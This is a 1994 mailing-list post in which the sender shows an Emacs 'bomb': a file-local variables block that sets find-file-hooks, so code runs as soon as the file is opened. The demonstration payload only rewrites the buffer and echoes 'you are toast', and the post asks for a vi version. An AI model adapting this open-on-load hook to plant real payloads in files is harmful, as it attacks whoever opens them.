Re: Virus's -- This is an Emacs bomb

Charles Howes (chowes@helix.net)
Tue, 6 Dec 1994 03:50:58 -0800 (PST)

On Mon, 5 Dec 1994, Bill Broadley wrote:

> I've heard there are text files that are emailable then if run on a pc 
> actually do things.
> 
> I.e. a Ascii only file thats legally executable, this is probably a distortion
> of a similiar story.
> 
> I have studied the x86 op codes to see if you can actually get much done
> with an Ascii file.
> 
> But of course no email programs I know of have a method to autoexecute
> a received email.

Here, have some autoexecuting emacs code:

---------------------------------------------------------------------------\
So there you are, reading along in some file that you found.
Just browsing away, when what happens, but some magic bit of
Local variables:
find-file-hooks: ((lambda ()
		    (unwind-protect
			 (save-excursion
			   (goto-char 0)
			   (re-search-forward "^Local variables:$")
			   (beginning-of-line)
			   (let ((p (point)))
			     (re-search-forward "^End:$")
			     (let ((m (buffer-modified-p)))
			       (delete-region p (1+ (point)))
			       (setq p (point))
			       (insert "-- hi there, I'm toast. --  ")
			       (insert (or (buffer-file-name) "nil"))
			       (call-process-region p (point)
				 "/bin/echo" t 0 nil
				 "you" "are" "toast")
			       (set-buffer-modified-p m)
			       )))
		      (kill-local-variable 'find-file-hooks))))
End:
text buried in that buffer comes to life and runs an arbitrary
piece of code at you.

Have a nice day!
---------------------------------------------------------------------------/

Does anyone have autoexecuting vi code?  I'd like to see it.


--
Charles Howes -- chowes@helix.net
 Always tell the truth, then you make it the other bloke's problem! 
 - Sean Connery, 1971